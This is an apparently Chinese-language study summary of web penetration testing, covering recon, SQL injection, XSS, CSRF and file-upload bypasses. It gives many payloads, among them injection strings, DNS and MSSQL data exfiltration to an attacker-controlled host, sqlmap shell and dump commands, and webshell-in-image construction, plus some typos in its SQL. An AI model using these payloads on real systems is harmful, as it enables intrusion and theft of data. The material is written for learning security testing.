網絡安全入門到精通(總結篇) 最終篇(上)

每日一句:
		仰望星空的時候,不要忘記腳踏實地
		
本文內容:
		1.	web通信基礎
		2.	後端數據庫正則
		3.	信息收集
		4.	sql注入
		5.	XSS
		6.	CSRF
		7.	文件上傳
		8.	驗證碼、密碼找回漏洞
		9.	越權漏洞
		10.	SSRF
		11.	支付漏洞
		12.	XXE
		13.	變量覆蓋
		14.	文件包含漏洞
		15.	序列化
		16.	Bypass繞過[SQL注入]
		17.	Bypass繞過[Webshall]
		18.	代碼審計

一、web通信基礎

常用端口:
	80端口:http協議、3306端口:Mysql、1433端口:MSSQL、1521端口:oracle、
	445端口:共享文件或共享打印機、22端口:ssh、443端口:網頁瀏覽
	8080端口:www代理服務、6379端口:redis、3389端口:遠程服務協議
	21端口:主要用於ftp,文件傳輸協議
	
	注意:上邊均爲默認端口--->默認設置(可以改動)

--------------------------------------------------------------------------------------------------------------------------------------
1,IP:
		IP地址實際上就是你電腦的地址。
		IP存在內網和公網:
			內網地址是路由器分配,(唯一,需要前提:侷限範圍)
					查詢方式: cmd  ipconfig。
			公網地址是運營商分配。(唯一) 
					查詢方式: cmd  ipconfig	;	瀏覽器百度	“IP”
2.域名:
		實際上就是爲了方便記憶所發明的一個字符型表示。
		DNS將域名轉換爲IP的一個協議
		DNS解析:瀏覽器緩存-host文件-路由器-運營商-根服務器(全世界13臺)
		幾級域名幾個點.可以這樣理解。
3.端口:
		端口就像電腦的接口,主要是網絡接口。
		範圍:0-65535(2^16-1)
		0端口是預留端口,一般不會用的到
		一般一個端口代表着一個電腦服務
4.HTTP協議:
		超文本傳輸協議,是互聯網上應用最爲廣泛的一種網絡協議

		補充:https = http +  ssl(相對安全,ssl簡單理解爲一種加密協議)
5,cookie:
		憑證,代表身份,具有時效性、 注意與session(會話)的關聯
6,區分服務器系統:
		win:查看路徑,路徑如果是具有盤符是win。
		linux:查看路徑,路徑如果是//是linux,畢竟macOs做系統還是很罕見的。
		路徑大小寫,敏感是linux,否則是win
7,絕對路徑,相對路徑
		區分:具有盤符是絕對路徑。
8,常見Web容器:
		IIS(Windows)
		Apache(全平臺)
		Nginx(全平臺)
		Tomcat
9,GET&POST傳參區別:
		GET:短小、快速、限制長度
		POST:大容量、慢、相對更安全,傳參在body	
10.CMS意爲內容管理系統
		實際上就是一個快捷建站的模板,常見的CMS有織夢cms,帝國cms等	
11.	動態語言的作用:
	動態編輯web頁面,改變或添加任何的內容,對html提交的請求或數據進行響應,訪問數據或數據庫,返回結果,定製不同頁面,提高網頁安全性

二、後端數據庫正則

1,前端語言之間的聯繫:
		html:人的身體
		css:人的衣服
		js:人的動作
		身體、衣服、動作	
2,數據庫(Mysql):
		1.數據庫:
				就是將大量數據保存起來,通過計算機加工而成的可以高效訪問的數據集合。
				數據庫是長期儲存在計算機內、有組織的、可共享的數據集合。

				簡單說,就是存儲數據的倉庫
		2.常見數據庫:Mysql、oracle、Sql Server、Access、DB2等
		3.MySql常用語法:
				[新建數據庫]			create database ku_name;
				[查看所有數據庫]		show databases;
				[查詢當前庫名]		select database();
				[刪除數據庫]			drop database ku_name;
				[新建表]			create table table_name;
				[查看所有數據表]		show tables;
				[刪除表格]				drop table table_name;
				[查看錶的類型]			desc table_name;
				[刪除表裏面的字段]		alter table table_name drop column_name;
				[添加表裏面的字段]		alter table table_name add column_name column_type;
				[修改字段名和屬性]		alter table table_name change column_name xincolumn_name xincolumn_type;
				[查詢當前用戶]			SELESCT USER()或SYSTEM_USER();	
				[查詢數據庫版本]			SELESCT VERSION();
				
				字段屬性:主鍵:PRIMARY KEY[不能爲空且唯一]、自增長:AUTO_INCREMENT、不能爲空:NOT NULL 、設置編號CHARSET=UTF-8
				
				[插入數據] INSERT INTO table_name VALUES ('value');
				[插入數據] INSERT INTO table_name (column_name) VALUES ('value');
				[查詢數據] selecr * from table_name;  
				[查詢數據] select column_naem from table_name;
				[修改數據] UPDATE table_name SET column_name='修改value'   
				[修改數據] UPDATE table_name SET column_name='修改value' where column_name= 某條件;
				[刪除數據] delete from table_name where column_name= value;
		4.MySQL的基礎查詢語句:
				select * from 表 order by字段 ASC默認/DESC;
						升序(從小到大)ASC;
						降序(從大到小)DESC
				模糊查詢:select * from 表 where username like '%x%'
						%:像的意思,類似於通配符
				聯合查詢
						表的內容重複不顯示:
							select * from 表1 UNION select * from 表2;
						表的內容重複顯示:
							select * from 表1 UNION ALL select * from 表2;
						注意事項:
							兩次查詢的字段數必須一致。
							
				子查詢:當一個查詢是另一個查詢的條件時,稱爲子查詢。						
3,php:	
		1.什麼是PHP?
				PHP(超文本預處理器)是一種通用開源腳本語言,(是動態語言中的一種,動態語言還有ASP,ASPX,JSP)
				PHP語法吸收了C語言、java和Perl的特點,主要適用於Web開發領域。
				PHP是將程序嵌入到HTML文檔中去執行,前端代碼。
				PHP還可以執行編譯後代碼,編譯可以達到加密和優化代碼運行,使代碼運行更快。
				PHP支持幾乎所有流行的數據庫以及操作系統。
		2.使用場景:
				網站需要動態操作的,如註冊、登錄、查詢。
				網站需要生成靜態文件確保安全的。
				需要快速看見效果的項目。
				部分遊戲服務端,(swoole擴展)。
		3.php基礎語法:
				1.xml風格:<?php 開頭,以?>結尾。
				2.腳本風格:<script language="php"></script>
				3.變量聲明(美元符開頭,如 $value;)
				4.常量聲明(define (常量名,常量值))
				5.函數調用:必須是用括號將參數包起來,如md5("admin");
		4.PHP操作Mysql語句
				鏈接數據庫:
						mysqli相當於插件,就像是php中的擴展,專門鏈接Mysql用的
						$coon=mysqli_connect("127.0.0.1","root","root","db_name");
						127.0.0.1:訪問的地址
						root	賬號
						root	密碼
						db_name	數據庫庫名
						$conn=mysqli_connect("addr","usr","password");
				選擇數據庫:(相當於執行SQL語句的use)
						mysqli_select_db($conn,"db_name");
				執行SQL語句:
						$result = mysqli_query($conn,"SQL");
						SQL:SQL語句。
				遍歷查詢結果:
						$row=mysqli_fetch_row();	返回一行
						$table=mysqli_fetch_all();	返回全部內容(一個表)
						$row=mysqli_fetch_array($result);
				關閉數據庫鏈接:
						mysqli_close($conn) 
4,表單:
		1.什麼是表單?
				表單在網頁中主要負責數據採集。
		2.組成:
				表單標籤:
						<form action="URL"method="GET/POST">
						action:數據提交到哪裏。
						method:什麼方式提交。
				表單按鈕
				表單域:文本框、密碼框、隱藏域、複選框、單選框、文件上傳框、多行文本框(文本域)		
		3.使用場景:
				登錄框
				搜索框
				留言框
				上傳框
				……(各種框)
		4.驗證表單:
			是否存在敏感內容 stripos() 、stristr()
			stripos:查找字符串首次出現的位置(不區分大小寫)
			stristr:查找字符串首次出現的位置,並返回其餘部分字符串
			
			   要求						檢測函數    			說明
			字符串不能爲空: 			strlen()  			判斷字符串長度是否爲0
			整數不小於1,不大於100 		<= >=  				使用大於小於判斷整數範圍
			數組元素3個  				count() 			判斷數據元素個數
			必須爲數字 					is_numeric() 		如果爲數字返回true否則返回false
			必須是數組 					is_arrary() 		數組返回true,非數組返回false
			不能爲空 					is_null() 			爲空返回true,否則返回false
										isset()				若存在該變量且不爲null,則返回true,否則返回false。
5,正則:
		1.是什麼?
				正則表達式:又稱規則表達式,在計算機科學的一個概念,
				正則表達式通常被用來檢索,替換那些符合某個模式(規則)的文本。
		2.PHP中正則表達式常用函數:
				PHP中使用正則規則一定要加代表正則的標識/ 正則 /
				preg_match_all(正則表達式、匹配字符串、匹配到的東西放入數組)
					返回匹配的次數。
				preg_replace(正則表達式、替換成什麼、匹配字符串)
					返回替換的結果
				注意:替換支持數組格式。	
		3.正則表達式的語法:
				常用轉義字符:
				數字/非數字:\d	 \D
				空白字符(空格、製表符、換頁符等)/非空白字符:\s   \S
				單詞字符(26個英文字母+數字+下劃線)/非單詞字符:\w  \W	
				字符集合:[單個字符或字符區間],用於匹配集合內字符
				
				如:
					[a-z]表示a-z這26個小寫字母
					[0-9a-z]表示0-9這10個數字和a-z26個小寫字母
					[135a-h]表示包含數字1,3,5和字母a-h這8個字母
					注意:兩個不同字符段間請勿使用,隔開。
					非集:[^單個字符或字符區間],用於匹配非集合內字符
					如:
					[^0-9]表示匹配所有非數字字符。
					[^a-zA-Z]表示匹配所有非字母字符
		
				關鍵字:
					()和數學一樣很像,代表這是一個整體。
					^匹配輸入字符串的開始位置。
					$匹配輸入字符串的結尾位置。
					.通配符[代表任意字符][不匹配換行]
					*匹配0次或者多次
					+匹配1次或者多次
					\轉義字符
					|兩項之間的一個選擇
	
				限定符:
					{n} 例如:0{8} 意思是指只有連起來8個0纔會匹配。
					{n,} 例如:0{2,}意思是只要有2個0及其以上的就會被匹配
					{n,m}例如:0{2,4} 意思是最少匹配2個0,最多匹配4個0
					
					注意:被匹配是,默認匹配最多的次數。
				修飾符:
				
					/i 不區分大小寫
					/A 匹配規則必須從頭開始匹配
					/s .將匹配一切字符
					/x 正則表達式中的空白字符會被忽略
					/e 代碼執行preg_replace() 可以寫一句話但是不能連接菜刀
				file_put_contents 函數[把字符串寫入文件]
				file_put_contents(寫入文件的地址,寫入的文件內容)
	
正則過濾是主流防護手段,基本過濾各種注入(sql、xss、xxe)	
時刻分清楚  代碼與數據的界限

三、信息收集

1,信息收集的重要性:
		當你收集的信息比別人多且更詳細的時候,那麼你就掌握了先機。
		滲透測試——安全是個水桶效應,安全的高低,取決於最薄弱的點。

2,信息收集的方向:
		1.whois:
			是什麼:
					whois是域名註冊時留下的信息,如管理員的名字、郵箱、手機號。
					whois是查詢域名的IP以及所有者等信息的傳輸協議。
					whois是用來查詢域名是否已註冊,以及註冊域名詳細信息的數據庫(如域名所有人、域名註冊商)。
					whois是一個在線'請求/響應'式服務。
			作用:
					域名註冊人有可能是網站管理員,可以通過查詢、社工、討論,看他是否註冊其他域名,擴大攻擊範圍。
			收集方法:
					在瀏覽器中直接搜索whois,有很多網站可以查詢,如站長之家、whois.net。
			補充:
					對一家公司就行滲透測試,也可以使用天眼查。
					撞庫:是一種現象,就是怕密碼設置太多,記不住,而把所有密碼都設置成一樣的。
		2.子域名:
			是什麼:
					頂級域名下的二級域名、三級域名甚至更多級域名,都是子域名,一些直接用IP訪問的Web網站也是子域名的收集範圍。
			作用:
					擴大攻擊範圍,同一域名下的子域名都屬於相同資產,一般而言都有相關的聯繫。
			收集方法:
					通過Gooke Hacking語言,進行尋找(爬取搜索引擎)。
					通過雲悉資產、微步社區。
					通過使用工具爆破DNS服務器。
					通過網頁內蜘蛛爬蟲。
					通過查詢域名證書。
			收集工具:
					layer子域名挖掘機
				
		3.補充常見域名
				com	商業
				net 網絡服務
				org	組織協會
				gov	政府
				mil	軍事
				int	國際
				edu 教育
				cn	中國
3.端口檢測:	
	爲什麼收集:
			有些危險端口開放了,我們就可以嘗試入侵。
			可以嘗試爆破或者利用某些端口存在漏洞的服務。
			可能在一臺服務器上不同端口,代表不同的Web網站。
			同端口,代表同一服務器或者同一內網。
			
	開放端口入侵工具:
			3389:MSF(kali自帶)
			445:九頭蛇爆破
			21:ftp
	收集方法:
			使用nmap收集
			nmap掃描之後,會給對方服務器留下大量的日誌和訪問請求。
	端口:
		端口分爲兩種:
				物理端口:如usb,電腦接口。
				邏輯端口:一般是http/ip協議中的端口。
				範圍:0-65535
		端口分類:
				周知端口:範圍0-1024,衆所周知的端口。
				註冊端口:範圍1024-45151,主要是用戶選擇安裝一些應用程序。
				動態端口:範圍49151-65535,一般不固定分配給某個服務。
	nmap:
		nmap是一個網絡連接端掃描軟件,用於掃描網上電腦開放的網絡連接端。
		nmap功能:
				掃描目標網絡內活躍的主機。
				推測主機操作系統。
				檢測主機端口。
	nmap常用命令:
		nmap url/ip				最常用的命令
		nmap -p 80 url/ip 		自定義想掃描的端口
		nmap -p 1-255 url/ip 	自定義想掃描的端口範圍
		nmap -r url/ip			隨機掃描端口
		nmap -O url/ip 			啓用操作數據監測
		nmap -O -fuzzy url/ip 	推測操作系統
		nmap -sV url/ip			版本探測
		nmap -sV --version -intensity url/ip 設置版本掃描強度(0-9)
		nmap -A-T4 url/ip -A結合操作系統檢測和版本掃描,T4 時間模板4

4.目錄掃描:
	爲什麼收集:
			掃描目錄可能會得到不同網站、備份文件、路徑泄露。
	收集方法:
			使用御劍、drimap等工具掃描。
	作用:
			掃出後臺,弱密碼,撞庫。
			敏感信息文件下載、數據庫備份文件下載。
			文件上傳,拿最高權限、拿服務器。
	狀態碼:
			200 訪問成功
			302 重定向
			403 拒絕訪問
			404 不存在
5.指紋識別:
	是什麼:
			指紋代表身份,網站指紋=網站特徵,比如數據庫、中間件、cms。
	作用:	
			cms可能存在通殺漏洞,如果使用cms建站,可以使用通殺漏洞直接攻擊。
	怎麼收集;
			站長之家、whatweb、bugscaner
6.旁站:
	是什麼:
			同一個ip上面的多個網站。
	爲什麼要收集:
			拿到旁站,如果運氣好,和主站在一臺機器上,就可以拿到主站,如果運氣不好,在一個內網內,可以嘗試內網滲透。
	收集方法:
			站長之家,同ip查詢。
			在線查詢,phpinfo.me/bing.php
	CDN:
		內容分發網絡
		cdn:緩存服務器,存儲網站的靜態資源,提高網站響應速度和用戶體驗。
		繞過:
				想要繞過cdn,就要先判斷它是否存在CDN,可以使用站長之家,多點ping,看看IP是否相同
		找到真實IP方法:
				內部郵件源(必須是目標自己的郵件服務器)
				子域名:有些網站的主站訪問量過大,需要設置CDN,而子站卻沒有。
				國外訪問:國內的CDN主要是針對國內用戶,國外不好說。
				查詢域名解析記錄:可能目標網站,很久以前沒有使用cdn。	
7.C段:
	確定ip的範圍,對段內ip主機進行信息收集。
	是什麼:
			整個ip段,比如x.x.x.1-255
	爲什麼收集:
			整個C段,可能同一內網、同一管理、同一份資產。
			注意:C段攻擊需謹慎,太容易誤傷。
	收集方法:
			站長之家,phpinfo.me/bing.php
8.敏感信息泄露:
	通過Gookie Hacking語言,查找敏感內容,如身份證號、賬號密碼文件等。
	谷歌語法:
			""   		雙引號內容不可拆分。
			site:		指定域名
			inurl:		url內存在的關鍵網頁。
			intext: 	正文存在的關鍵字。
			intitle:	標題存在的關鍵字。
			filetype:	指定文件類型。
			like:域名	所有與域名鏈接的url。
			info:		查找指定目標站點的一些基本信息。
3,空間搜索引擎:
	通過網絡空間搜索引擎,我們能夠找到開放的服務以及在線的網絡設備。
	常見引擎:
			1.鍾馗之眼
			2.shodan
			3.fofa

四、sql注入

1,sql注入的本質:
		sql注入的本質是把用戶輸入的數據當做sql語句執行。
2,sql注入的條件:
		~用戶能控制輸入。
		~程序原本執行的代碼,拼接了用戶輸入的數據去執行。
3,sql注入的判斷方法:
		~and 1=1 和 and 1=2
		~id=1 和 id=1'
		~id=1 和 id=2-1
		~and -1=-1 和and -2=-2				==對第一條的進階
		~or 1=1 #							==對post傳參進行測試
4,sql注入使用的函數:
		1.通用:group_concat() 將查詢到的信息放置一行輸出;
					注意與limit n,m的區別
		2.報錯注入:updatexml(1,concat(0x7e,(database()),0x7e),1)
					注意補全不同場景的格式
		3.布爾盲注:ascii(substr(database(),1,1))
		4.延時盲注:if(ascii(substr(database(),1,1))>x,sleep(5),'a')
		5.cookie&偏移注入:document.cookie="id="+escape('xxx')、exists()
					在瀏覽器,F12,控制檯輸入
		6.DNS注入:load_file()
		7.MSSQL反彈:opendatasource('sloledb','')
		8.ORACEL報錯:and 1=ctxsys.drithsx.sn()
		
5,sql注入的分類:
	1.顯錯注入:本質上沒有區別,只是傳參位置不同。
		GET注入:
				直接在url欄目中
		POST注入:
				常見位置:登錄框、查詢框、所有和數據庫信息有交互的框。
		HEAD注入:
				php變量存在超全局變量,$_REQUEST、$_GET、$_POST、$_COOKIE、$_SERVER。
				本質:一些網站會獲取請求頭的一些信息,存到數據庫,利用這點可以將惡意代碼放到請求頭中,然後發送給服務器,如果服務器沒有驗證過濾就將惡意代碼執行,就完成了一次head攻擊
				
				存到數據庫一般是插入語句,插入語句沒有回顯,可以使用報錯和盲注。
				報錯注入函數:updatexml(1,concat(0x7e,(database()),0x7e),1,)
				
				獲取數據的方法:
						$_SERVER['HTTP_REFERER'] 獲取Referer請求頭數據。
						$_SERVER['HTTP_USER_AGENT']獲取用戶相關信息,包括用戶瀏覽器、操作系統等信息。
						$_SERVER['REMOTE_ADDR']獲取瀏覽網頁的用戶IP。
		COOKIE注入:
				使用場景:使用$_REQUEST[]接收參數,GET、POST傳參被攔截。
				注入函數:document.cookie="id"+escape()、exists()
				更改cookie方法:在瀏覽器控制檯js語句、抓包更改、插件更改。
				
	2.盲注:
		使用場景:盲注就是在服務器關閉了錯誤回顯的情況下使用。
		布爾盲注:
				根據注入的信息返回Ture和False。
				布爾盲注函數:ascii(substr(database(),1,1)>x)
		時間盲注:
				無論注入任何信息都返回Ture,加入特定的時間函數,通過查看Web頁面返回時間差來判斷注入的語句是否正確。
				
			時間盲注函數:if(ascii(substr(database(),1,1)>x),sleep(5),'a')	
				使用函數:
						length() 返回長度
						substr(str,stat,len),截取字符串,str字符串,stat開始位置,len截取長度。
						ascii() 返回字符串的ASCII碼
						sleep() 休眠時間
						
	3.其他:
		寬字節注入:
				使用場景:在遇到魔術引號時。
				魔術引號:就是將單引號、雙引號、反斜槓、null等字符前添加轉義字符'\' 
				開關:magic_guotes_gpc。
				本質:
					使用特殊字符將魔術引號添加的轉義字符'\'組合起來,讓它失去轉義的作用。
					數據庫編碼是非英文就可能產生寬字節注入。		
		偏移注入:
				使用場景:	在sql注入會遇到一些無法獲取列名或遇到ACCESS數據庫情況下,庫表字段名奇葩工具無能爲力。
				使用函數:	document.cookie="id"+escape("xxx")、exists(),就是判斷查詢是否具有數據。
				新穎方法:	select admin.* from admin 	admin.*就是admin表裏所有字段。
				使用要求:	注入點的表要比查詢表的字段數大(前表大於後表)。
		
		MySql-DNS注入:
				使用場景:	在某些無法通過漏洞直接獲取回顯的情況下,但目標可以發送請求,load_file(),讀取文件功能開啓。
				原理:	 	將select查詢的數據發送給一個url,利用dns解析產生的記錄日誌來查看數據
				UNC路徑:	通用命名規範、通用規則、通用規定,遠程共享文件的一種格式。
				使用函數:   and(select load_file(concat('//',(select database()),'域名/文件')))、limit n,m
				域名註冊地址:http://dnslog.cn/
		MSSQL-反彈注入:
				使用場景:		明明是注入點,卻無法進行注入,注入工具猜測異常緩慢,錯誤提示信息關閉,無法返回注入結果。
				原理:			就是把查詢出來的數據發送到我們的MSSQL服務器上,然後把數據插入到數據庫裏面。
				使用函數:		select opendatasource('sqloledb','server=服務地址;uid=用戶;pwd=密碼;database=庫名').庫名.dbo.表名 select * from admin。
				MSSQL快速搭建:	http://www.webweb.com (香港雲)	https://bccto.me/ (匿名郵箱)
				常用sql語句:	dbo.sysdatabases (查詢庫名)	sysobjects where xtype='u' (查詢表名)	syscolumns where id= 指定sysobjects庫中表名對應id值	(查詢字段名)。
				注意點:
						1.聯合查詢要用union all。
						2.猜輸出點要用null去填充。
						3.註釋要使用-- +,-- qwe(不要想着#)。			
		
		Oracle-報錯&顯錯注入
				核心:		使數據庫出錯,然後強行丟出一個致命性錯誤,這個錯誤信息裏面的內容我們可以控制。
				使用函數:	and 1 = ctxsys.drithsx.sn(1,(select database())),可以使用<>不等於,取後邊的數據,語法:and 字段<>記錄。
				常用sql語句:
							1.select * from user_tables 查詢出當前用戶的表。
							2.select * from user_tab_columns 查詢出當前用戶的字段。
							3.select * from all_tables 查詢出所有的表。
							4.select * from all_tab_columns 查詢出所有的字段。
				注意:
						報錯:一行數據、一個字段。
						select1,2,3這樣的語句oracle是無法執行,需要後跟表名,一般用Dual(虛表),
				作用:	爲了滿足sql語句的結構,爲了嚴謹的語法。
6,sql注入工具的使用:
		1.sqlmap:
			是應用最廣泛的自動化檢測,利用sql注入的滲透測試工具,支持多種數據庫。
			基礎命令:
					sqlmap -u 指定注入點。
					sqlmap -D 指定數據庫。
					sqlmap -T 指定數據表。
					sqlmap -C 指定字段。
					sqlmap -r 打開文件。
					sqlmap --form 表單。
					sqlmap --dbs 跑庫名。
					sqlmap --tables 跑表名。
					sqlmap --columns 跑字段。
					sqlmap --dump 跑數據,敏感命令,拓庫。
			常見指令:
					sqlmap --random-agent 選擇隨機的user_agent。
					sqlmap --delay=1 推遲檢測速度(防止訪問過快被ban)。
					sqlmap --level3 檢測等級,大於2檢測Cookie,大於3檢測頭注入。
					sqlmap --flush-session 清除緩存。
					sqlmap --count 查看數據量。
					sqlmap --is-dba dba如果的是True,就可以嘗試直接拿Webshall。
					sqlmap --os-shell 向網站中投入cmdshell,有時候需要web網站的絕對路徑,有時候只需要選擇好shell的語言類型,就可以拿shell。
		2.Burpsuite:
			是web應用平臺集成工具,包含了許多工具。
			簡單操作:如何抓包、如何抓返回包、如何單放包且查看返回包。

五、XSS
XSS跨站腳本攻擊
CSRF跨站請求僞造
SSRF服務器端請求僞造

1,XSS本質:
		XSS的本質是把用戶輸入的數據當做HTML等前端代碼執行。
2,兩個關鍵條件:
		1.用戶能控制輸入。
		2.用戶輸入的數據,拼接了HTML等前端代碼,然後去執行。
3,判斷方法:	
		1.標籤:<script>alert(1)</script>,將彈窗當做判定。
		2.僞協議:JavaScript:alert(1)
		3.事件型:常用的有:
				onerror(失敗加載執行)、
				onload(成功加載執行)、
				oninput(有輸入框、輸入的時候觸發),onfocus獲取焦點
4,分類:
		1.反射型XSS:
				成功實現的XSS,僅本次訪問有效,非持久性。
				作用:就是驗證是否具有XSS,儘量打出存儲型XSS。
		2.存儲型XSS:
				成功實現的XSS,存儲數據庫,每次訪問有效,持久性。
				危害:
						1.偷取cookie(在那偷那)。
						2.獲取內網IP
						3.獲取瀏覽器保存的明文密碼
						4.獲取網頁上鍵盤記錄。
		3.Dom型XSS:
				Dom型xss攻擊與服務器基本沒關係,原本不存在XSS,經過js語句處理產生的。
				反射型XSS經過js處理變成反射Dom型Xss。
				存儲型XSS經過js處理變成存儲Dom型Xss。
				
			Dom的核心就是操縱document,document的核心就是操縱瀏覽器
			Document對象屬性:
					body:提供對<body>元素直接訪問,對於定義了框架集的文檔,該屬性引用最外層的<frameset>。
					cookie:設置或返回與當前文檔有關的所有cookie。
					domain:返回當前文檔的域名。
					lastModified:返回文檔被最後修改的日期和時間,可以通過它判斷頁面是不是僞靜態。
					referer:返回載入當前文檔的文檔URL。
					title:返回當前文檔的標題。
					URL:返回當前文檔的URL。
			Document對象方法:
					close():關閉用document.open()方法打開的輸出流,並顯示選定的數據。
					getElementsByid():返回對擁有指定ID的第一個對象的引用。
					getElementsByName():返回帶有指定名稱的對象集合。
					getElementsByTagName():返回帶有指定標籤名的對象集合。
					open():打開一個流,以收集來自任何document.write()或documnet.writeln()方法的輸出。
					write():向文檔寫HTML表達式或JavaScript代碼。
					writeln():等同於write()方法,不同的是在每個表達式之後寫一個換行符。
					document.write():核心在於輸出,它可以接收native編碼值。它是js語句,js語句會解碼某些編碼。
			編碼地址:http://tool.oschina.net/encode?type=3
5,其他:
		1.XSS平臺:
				XSS平臺:因爲達到各種各樣的效果需要比較複雜的代碼 xsspt.com(開放註冊)xss9.com(需要邀請碼),只需要引入一個平臺外部鏈接就可以實現功能了
		2.防禦手段:
				過濾:尖括號、單引號、雙引號、
				限制輸入長度。
				特殊符號實體化編碼。
		3.常見場景:
				重災區:評論區、留言區、個人信息、訂單信息,各種與url傳參等
				針對型:站內信、網頁即時通訊、私信、意見反饋
				存在風險:搜索框、當前目錄、圖片屬性等
		4.流程:先判斷是否存在XSS,如果有,就使用XSS平臺生成的代碼打。
		5.XSS核心:
				寫的進去:能一字不差的寫進去。
				輸的出來:能一字不差的輸出來。
				如果一個XSS只能寫進數據庫了,但是數據庫永遠不調用,它永遠都不會在你的瀏覽器裏顯示出來,它永遠都沒有用。
		6.XSS與SQL注入的區別:
				1.XSS一定要寫的進去,顯得出來。
				2.SQL注入能寫進去,只要執行了就行,回顯不重要。		
				3.sql注入是拼接的sql語句,XSS拼接的是前端代碼。

六.CSRF
XSS跨站腳本攻擊
CSRF跨站請求僞造
SSRF服務器端請求僞造

1,CSRF(跨站請求僞造):
	1.原理:
			就是偷偷的發數據,當你訪問一個網站,瀏覽器就會認爲你信任那個網站,於是那個網站讓它做什麼,它都會去做。
			核心:(缺乏驗證)
	2.CSRF與XSS區別:
			1.xss是操作目標網站的前端代碼  竊取cookie。
			2.csrf是在非目標網站的前端代碼做手腳,讓瀏覽器偷偷的去訪問目標網站,利用Cookie,實際上它是得不到Cookie的,瀏覽器會自動填充Cookie進行訪問數據。
	3.危害:
			攻擊者盜用了你的身份,以你的名義發送惡意請求。
			CSRF能夠做的事情包括:
					以你名義發送郵件,發消息,盜取你的賬號、購買商品,虛擬貨幣轉賬。
			造成的問題包括:
					個人隱私泄露以及財產安全。
	4.限制:
			網站Cookie不能失效,不能具有CSRF防護,得訪問目標網站。
	5.過程:
			自己先構造惡意語句(使用BrupSuite):抓取數據包——右鍵——Engagement tools——Generate CSRF PoC——將html代碼複製下來——保存到html文檔中,
			騙人點擊。
			網站沒有防護,攻擊成功。
	6.預防:
			可以強行用驗證碼(強制用戶必須和應用進行交互,但是體驗性太差)。
			請求中加隨機Token值(是解決CSRF,現有階段最好、最有效且最有力的方法)。
			
			Token是一種驗證機制,什麼是Token值(不同的表單包含一個不同的隨機值)。
			可以理解爲,就是驗證碼,只不過不用在手工輸入了

七、文件上傳

1,文件上傳:
		判斷前後端檢測:
		使用BurpSuite抓包,有數據包爲後端,無數據包直接攔截的爲前端。
		
2.分類:
		PHP:
			前端檢測:
				白名單:允許上傳什麼。
				黑名單:不允許上傳什麼。
				繞過:
						1.關閉js。
						2.抓包修改。
			後端檢測:
				白名單:允許上傳什麼。
						00截斷:
								%00和00就是代表一個結束符。
								例如:1.php%00.jpg。
								或者抓包在hex中修改
								
						條件競爭:
								兩個(線程)同時去搶(資源),不知道到底哪個能搶到,此處便形成了競爭。
								可以使用BurpSuit去跑,一個瘋狂上傳,一個瘋狂訪問。
								就是和服務器的刪除函數,進行競爭。
				黑名單:不允許上傳什麼。
						1.文件後綴類型繞過:
								php: php、 phtml、php3、php4、php5
								jsp: jap、jspx、jspf
								asp: asa、cer、aspx
								ext: exee
						2. .htaccess文件繞過:
								修改配置文件:AddType application/x-httpd-php .jpg 
								這個指令代表着.jpg文件會當做php解析。
								將這句代碼放進txt文件,將文件名修改成功.htaccess,然後上傳它就可以了。
					3.文件後綴大小寫繞過。
					4.文件後綴(空/空格)繞過。
					5.文件後綴(點)繞過。
					6.Windows文件流繞過NTFS::$DATA利用windows特性,可在後綴名中加::$DATA 繞過。
					7.構造文件後綴繞過,如php.. 
					8.雙寫文件後綴繞過。如pphphp

	ASP:
		前端檢測:
				白名單:允許上傳什麼。
				黑名單:不允許上傳什麼。
				繞過:
						1.關閉js。
						2.抓包修改。
		後端檢測:
				白名單:
						IIS6.0解析漏洞(二)[IIS5.1和IIS7.5無此漏洞]:
								在處理含有特殊符號的文件路徑時會出現錯誤,從而造成文件解析漏洞。
								a.asp;.jpg 當做asp進行解析。
						IIS6.0解析漏洞(三)[IIS5.1和IIS7.5無此漏洞]:
								在處理含有特殊符號的文件路徑時會出現錯誤,從而造成文件解析漏洞。
								a.asp/123.jpg 它將當做asp進行解析。
						
						請求a.asp/x.jpg的理解:
						這相當於構建了一個新的文件夾a.asp,凡是這個文件夾裏的文件都會以asp去執行。				
							
				黑名單:
						IIS6.0解析漏洞(一)[不是漏洞,只是默認配置的問題][適合拿來繞過黑名單機制]:
								中間件會將文件後綴名字爲.asa .cer .cdx都會當做asp去解析。
								本質因爲IIS6.0在應用程序擴展中默認設置了.asa .cer .cdx都會調用asp.dll
						解決方法:直接將相應配置刪掉即可。
						
	CGI(中間件)解析漏洞:
		CGI是什麼?
				簡單的說,可以理解爲是web服務器和獨立程序之間的管家,
				服務器將a類型文件,交給CGI,CGI交給處理a類型文件的程序
		如何理解?
				當訪問www.xx.com/phpinfo.jpg/1.php這個url。
				CGI一看是php後綴結尾,便給php程序去執行,
				php去找名字爲“phpinfo.jpg”的文件夾,沒找到,便去找“phpinfo.jpg”的文件,找到後執行。
				
		注意:
				僅用於php。
				這是一個邏輯問題,所以說我們只需要在正常的.jpg後邊加/.php就可以成功繞過解析。		
				這不是Nginx特有的漏洞,在IIS7.0、IIS7.5等Web容器中也經常會出現這樣的解析漏洞。		

		漏洞本質:少了再次檢測的環節
		
3.其他補充:
		1.白名單比黑名單更可靠。
		2.圖片馬的製作
				在txt中寫一句話木馬,
				準備一張圖片,(注意文件大小,越小越好)
				打開cmd輸入 copy 1.png/b + 1.txt 123.png
				(將a.jpg和1.txt合併爲123.jgp, /b的意思就是把它當做二進制去拷貝(注:是效果))
				圖片馬經過二次壓縮就失效了
		3.gif圖片馬可以繞過二次渲染

題外話:
本來想放在同一篇文章,但是內容太長了。影響閱讀體驗,故拆分爲兩篇,此爲上篇。
另外,此內容由好友(小墨)總結,本人感覺不錯,整理後分享。
希望大家都能有所收穫,多爲我國網絡信息安全出一份自己的力量。做一個正直的白帽子

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章